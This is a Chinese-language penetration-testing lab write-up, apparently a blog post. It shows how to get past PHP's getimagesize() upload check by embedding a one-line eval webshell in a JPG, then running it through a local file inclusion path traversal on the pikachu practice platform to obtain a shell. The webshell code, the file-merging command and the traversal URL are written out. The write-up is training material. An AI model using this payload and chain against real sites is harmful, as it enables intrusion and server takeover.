渗透测试-文件上传之getimagesize函数绕过

文件上传之getimagesize函数绕过

前言

一、什么是getimagesize函数

getimagegesize()函数用于获取图像代销及相关信息,成功返回一个数组,失败则返回一个错误信息,总之是一个判断图片大小和类型的一个函数,也避免了直接更改后缀名的绕过。

二、文件上传之getimagesize函数绕过

1. getimagesize函数绕过

我们先进行pikachu中的练习,打开代码审计看看
在这里插入图片描述
这里进行实验
在这里插入图片描述
只允许上传图片,而且我将后缀名.php改为.png,但是图片打不开。
我们将一句话木马php和png文件进行合并试一下,有两种方法可以试一下
第一种可以用cmd进行修改,执行命令
copy /b test.jpg+test.php ok.jpg
但是上传的时候报错了,可能文件大小不支持
在这里插入图片描述
所以我们这里进行工具,合成新图片上传
在这里插入图片描述
我们使用这个软件
只需将jpg图片放进去就会进行合成,只能输入jpg图片哦
在这里插入图片描述
输入一句话木马,点击ok,这时图片就插入一句话木马了

<?php @eval($_POST['chopper']); ?>

在这里插入图片描述
我们打开图片发现已经注入了,这时我们进行上传图片
在这里插入图片描述
图片上传成功
我们获得图片路径
uploads/2022/04/25/9173926266b8737e383119814519.jpg
下一步就进行打开获得shell的步骤了

2. 通过文件包含漏洞解析获得webshell

但是我们合成的只是jpg图片,在网站中是无法打开的
我们需要转换为php文件才可以打开,这里我们想到两种方法,一种是解析漏洞,另一种是文件包含漏洞
这里我们使用文件包含漏洞进行解析,来获取shell
首先我们找一个存在文件包含漏洞的平台
我们在pikachu中找一个实验,点击上传文件后,复制网址就行修改就可以了
在这里插入图片描述
http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
我们只需要将file1.php修改为我们当前图片的路径就行了

找file1.php文件的位置,找当前的目录,往前推一直找到unsafeupload的目录
…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg

这是我们file1.php文件的当前路径
D:\phpStudy\WWW\pikachu\vul\fileinclude\include\file1.php

回两级回到文件上传的位置
在这里插入图片描述
进行修改,结果为这个路径
http://192.168.222.4/pikachu/vul/fileinclude/fi_local.php?filename=…/…/unsafeupload/uploads/2022/04/25/9173926266b8737e383119814519.jpg&submit=%E6%8F%90%E4%BA%A4

我们将路径进行打开看一下,是否可以打开
在这里插入图片描述
发现打得开,文件修改成功。
这时文件是php文件,我们可以打开蚁剑进行连接获取shell,
输入网址和密码
在这里插入图片描述
成功获取shell,实验结束。

总结

本次实验是对文件上传漏洞绕过方法的补充,引入了getimagesize函数的绕过方法,结合了图片合成木马技术,文件包含漏洞的知识方法进行绕过,从而获取shell的过程。

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值